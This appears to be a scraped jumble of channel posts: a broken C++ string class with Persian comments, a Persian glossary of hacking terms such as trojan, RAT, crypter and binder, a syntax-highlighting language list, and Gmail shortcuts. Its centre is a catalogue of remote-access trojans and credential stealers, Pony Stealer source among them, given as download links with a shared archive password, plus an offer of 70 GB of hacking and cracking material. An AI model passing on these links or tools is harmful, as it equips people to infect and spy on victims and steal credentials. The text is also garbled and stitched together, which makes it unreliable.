// مقدار خود رشته رو کپی میکنیم
memcpy(out.data,data,sizeof(*data)*strlen(data));
// مقدار رشته دوم رو هم کپی میکنیم
memcpy(&out.data[strlen(data)],in,sizeof(*in)*strlen(in));
out.data[strlen(in)+strlen(data)]='\0';
return out;
}
  MyS
t
ring operator+(const MyString& in)const
{
     
return *this + in.data;
}
  //ک
پ
ی کردن
MyS
t
ring& operator = (const char* in)
{
     
delete[] data;
//آماده کردن فضای جدید
data = new char[strlen(in)+1];
//کپی کردن
strcpy(data,in);
data[strlen(in)]='\0';
return *this;
}
  MyS
t
ring& operator = (const MyString& in)
{
     
*this = in.data;
return *this;
}
  //ا
ض
افه کردن به خود رشته
MyS
t
ring& operator +=(const char* in)
{
     
*this = *this + in;
return *this;
}
  MyS
t
ring& operator +=(const MyString& in)
{
     
*this+=in.data;
return *this;
}
  // 
ب
ررسی برابر بودن
boo
l
 operator == (const MyString& other)const
{
     
return !strcmp(other.data,data);
}
  // 
ب
ررسی برابر نبودن
boo
l
 operator!= (const MyString& other)const
{
     
return !(*this==other);
}
  boo
l
 operator == (const char* other)const
{
     
return !strcmp(other,data);
}
  boo
l
 operator!= (const char* other)const
{
     
return !(*this==other);
}
  //د
س
ترسی به تک تک کاراکتر ها
cha
r
& operator [] (uint in)
{
     
if(in>strlen(data))//ارور بده اگه عدده زیاد بود
    throw std::runtime_error("MyString::operator [] : in is greater than data size");
return data[in];
}
  con
s
t char& operator [] (uint in)const
{
     
if(in>strlen(data))
    throw std::runtime_error("MyString::operator [] : in is greater than data size");
return data[in];
}
p
r
ivate
:

cha
r
* data;
};

یه
م
ثا
ل استفاده ازش:
int main
()
{
MyString a = "Hello World!";
cout<<a.getdata()<<endl;

return 0;
}

امیدوا
رم لذت برده باشین
زندگیتون بی ارور♥️
با سلام خدمت دوستان
قبل از شروع مبحث نیاز به تعریف یک سری از اصطلاحات می باشد


✅Target :
هدفی که قراره مورد نفوذ قرار بگیره


✅Trojan :
تروجان یک فایل ویروسی است که هکر با توجه به نیازی که از هک دارد، آماده می کند و به قربانی میدهد


✅Keylogger :
همون طور که از اسمش معلومه ، این ابزار جاسوسی برای گرفتن لاک کلید های فشرده شده و همچنین لاگ فعالیت ها استفاده میشه


✅RAT (Remote Administrator Tools) :
رت ها ترکیبی از ابزارهای ریموت و کیلاگر هستند که با اجرا شدن رو سیستم هدف، اطلاعاتی سیستم هدف رو در اختیار هکر قرار میده مثال : Darkcomet


✅Crypter :
مجموعه راه حل هایی که توسط آن فایل تروجان ، کیلاگر و رت از دید آنتی ویروس ها مخفی می ماند


✅Binder :
مخلوط کردن دو فایل با هم را بایند کردن می گویند (که یکی از فایل ها می تونه فایل تروجان باشه تا قربانی کمتر شک کنه)


برنامه نویسی به زبان ساده 😉
If the language detector does not work, you can always add to the beginning of the code the desired language followed by a colon, for example:
bash:yourcode

Supported languages: (you must write them as it is)
1c
abnf
accesslog
actionscript
ada
apache
applescript
arduino
armasm
asciidoc
aspectj
autohotkey
autoit
avrasm
awk
axapta
bash
basic
bnf
brainfuck
cal
capnproto
ceylon
clean
clojure-repl
clojure
cmake
coffeescript
coq
cos
cpp
crmsh
crystal
cs
csp
css
d
dart
delphi
diff
django
dns
dockerfile
dos
dsconfig
dts
dust
ebnf
elixir
elm
erb
erlang-repl
erlang
excel
fix
flix
fortran
fsharp
gams
gauss
gcode
gherkin
glsl
go
golo
gradle
groovy
haml
handlebars
haskell
haxe
hsp
htmlbars
http
inform7
ini
irpf90
java
javascript
json
julia
kotlin
lasso
ldif
less
lisp
livecodeserver
livescript
llvm
lsl
lua
makefile
markdown
mathematica
matlab
maxima
mel
mercury
mipsasm
mizar
mojolicious
monkey
moonscript
nginx
nimrod
nix
nsis
objectivec
ocaml
openscad
oxygene
parser3
perl
pf
php
pony
powershell
processing
profile
prolog
protobuf
puppet
purebasic
python
q
qml
r
rib
roboconf
rsl
ruby
ruleslanguage
rust
scala
scheme
scilab
scss
smali
smalltalk
sml
sqf
sql
stan
stata
step21
stylus
subunit
swift
taggerscript
tap
tcl
tex
thrift
tp
twig
typescript
vala
vbnet
vbscript-html
vbscript
verilog
vhdl
vim
x86asm
xl
xml
xquery
yaml
zephir
در این کانال به بررسی در مورد زبان های برنامه نویسی که دربالا ذکر کردیم می‌پردازیم
70 GB of information about of hacking, cracking, courses, etc

https://mega.nz/#F!wxcWhZTR!_O2X8gSyQR3apccMTXG27g

https://mega.nz/#F!tIsiQTBZ!MaIkMqadIFDjkT0PtpxYdg
Los Increibles - CARTON FILM HD

https://mega.nz/#F!y4l0wbxC!1r5KXChbG3dYjNhZYHb3zg
2 MANY COURSES & BOOKS

https://mega.nz/F!IUAGTAAb!bsOdM6-XG6BBcoKh638REQ!scoCGKQL#F!IUAGTAAb!bsOdM6-XG6BBcoKh638REQ
SpyNote V2
- Android RAT
Download:
https://mega.nz/#!sipRwIgI!4mw04RpqMcqNZ1TPSISpy40TMO8F6IjDRY64J-JQQ4o
Password: ex0dus
—----------------------------------------------------------------------------------
Quasar RAT
- OpenSource RAT
Download:
https://mega.nz/#!Yv5TFQBC!fMd3tTVNCyCrrQ5h_l0b0kAbEbMRry8iAlmFkcTl4EM
Password: ex0dus
—---------------------------------------------------------------------------------
SkyWyder RAT
- Features login grabber.
Download:
https://mega.nz/#!UzQVgYib!Tb-kjouXlj-aVrMr7omuw0xyRJV8wjtL1tRwCiQZ30I
Password: ex0dus
—------------------------------------------------------------------------------—
AcormRAT
- Piece of shit
Download:
https://mega.nz/#!wnp1DJ4S!-3atNdaIONUTfjoAJnQr9YgJvf0_9L9c9LL3f9vN684
Password: ex0dus
—------------------------------------------------------------------------------—
Orcus RAT
Download:
https://mega.nz/#!Nuwz2b7A!GxHCsv_3TT5C4gJnymtogtyNl2daCoeWDofF9fh0fkc
Password: ex0dus
—------------------------------------------------------------------------------—
Ozone RAT - C++
Download:
https://mega.nz/#!BvIllLCD!BjroMI2Cxl6PWSl3UBZ72rKXu2N6OgJ7SIjHiw9vlds
Password: ex0dus
—-------------------------------------------------------------------------------
NanoCore
- Aeonhack (original coder) was arrested :-) .
Download:
https://mega.nz/#!V7xS1ahb!QnThBEOFTtLIPKYE1KtJYRiidA9N5epWnrXFUfPt3p8
Password: ex0dus
—-------------------------------------------------------------------------------
njRAT 0.7d
Download:
https://mega.nz/#!cvoEmR4J!d6vfQKAWuNJclLDld5J02UenSzleOzJgYWoUTxB5tTo
Password: ex0dus
—-------------------------------------------------------------------------------
DarkTrack 4.0
- No descr.
Download:
https://mega.nz/#!QvAQ1IpR!6eobpjFf9bfyzostusYY7__dSg2qTJg5v24K0TQbpws
Password: ex0dus
—-------------------------------------------------------------------------------
Babylon RAT
Download:
https://mega.nz/#!cvoEmR4J!d6vfQKAWuNJclLDld5J02UenSzleOzJgYWoUTxB5tTo
Password: ex0dus
https://www.facebook.com/1656611301265857/posts/1876637149263270

—------------------------------------------------------------------------—
Loki PWS
Download:
https://mega.nz/#!1zhQXQqQ!dUoDYS3f1JpjmeQEohICI7N8eVtytDyFTOqFndcjVoI
Password: ex0dus
—------------------------------------------------------------------—
Pony Stealer 1.9
- Builder
- Panel
Download:
https://mega.nz/#!5m5SEaqQ!PZoyvLP5rPAp-F7jiKmuF_lnsPlk68s9oMshjAsbrQE
Password: ex0dus
—------------------------------------------------------------------—
Pony Stealer 2.0
- Full Source
- Builder
- Panel
Download:
https://mega.nz/#!RmpURbCb!7CooaXNRd8_9qhtksDvZQUMUdrWFsM6gbCVe-2DB2HU
Password: ex0dus
https://www.facebook.com/1656611301265857/posts/1876937285899923


—-------------------------------------------------------------------------
📶🌍 🌍🇭:
Here is the complete list of Gmail keyboard shortcuts:

Compose and Chat

<Shift> + <Esc> : Focus main window
<Esc> : Focus latest chat or compose
<Ctrl> + . : Advance to next chat or compose
<Ctrl> + , : Advance to previous chat or compose
<Ctrl> + <Enter> : Send
<Ctrl> + <Shift> + c : Add cc recipients
<Ctrl> + <Shift> + b : Add bcc recipients
<Ctrl> + <Shift> + f : Access custom from
<Ctrl> + k : Insert a link
<Ctrl> + ; : Go to previous misspelled word
<Ctrl> + ' : Go to next misspelled word
<Ctrl> + m : Open spelling suggestions

Formatting

<Ctrl> + <Shift> + 5 : Previous font
<Ctrl> + <Shift> + 6 : Next font
<Ctrl> + <Shift> + - : Decrease text size
<Ctrl> + <Shift> + + : Increase text size
<Ctrl> + b : Bold
<Ctrl> + i : Italics
<Ctrl> + u : Underline
<Ctrl> + <Shift> + 7 : Numbered list
<Ctrl> + <Shift> + 8 : Bulleted list
<Ctrl> + <Shift> + 9 : Quote
<Ctrl> + [ : Indent less
<Ctrl> + ] : Indent more
<Ctrl> + <Shift> + l : Align left
<Ctrl> + <Shift> + e : Align center
<Ctrl> + <Shift> + r : Align right
<Ctrl> + <Shift> + , : Set right-to-left
<Ctrl> + <Shift> + . : Set left-to-right
<Ctrl> + \ : Remove formatting


Jumping

g then i : Go to Inbox
g then s : Go to Starred conversations
g then t : Go to Sent messages
g then d : Go to Drafts
g then a : Go to All mail
g then c : Go to Contacts
g then k : Go to Tasks
g then l : Go to Label

Threadlist selection

* then a : Select all conversations
* then n : Deselect all conversations
* then r : Select read conversations
* then u : Select unread conversations
* then s : Select starred conversations
* then t : Select unstarred conversations

Navigation

u : Back to threadlist
k / j : Newer/older conversation
o or <Enter> : Open conversation; collapse/expand conversation
p / n : Read previous/next message
` : Go to next inbox section
~ : Go to previous inbox section

Application

c : Compose
d : Compose in a tab (new compose only)
/ : Search mail
q : Search chat contacts
. : Open "more actions" menu
v : Open "move to" menu
l : Open "label as" menu
? : Open keyboard shortcut help

Actions

, : Move focus to toolbar
x : Select conversation
s : Rotate superstar
y : Remove label
e : Archive
m : Mute conversation
! : Report as spam
# : Delete
r : Reply
<Shift> + r : Reply in a new window
a : Reply all
<Shift> + a : Reply all in a new window
f : Forward
<Shift> + f : Forward in a new window
<Shift> + n : Update conversation
] / [ :  Remove conversation from current view and go previous/next
} / { : Archive conversation and go previous/next
z : Undo last action
<Shift> + i : Mark as read
<Shift> + u : Mark as unread
_ : Mark unread from the selected message
+ or = : Mark as important
- : Mark as not important
<Shift> + t : Add conversation to Tasks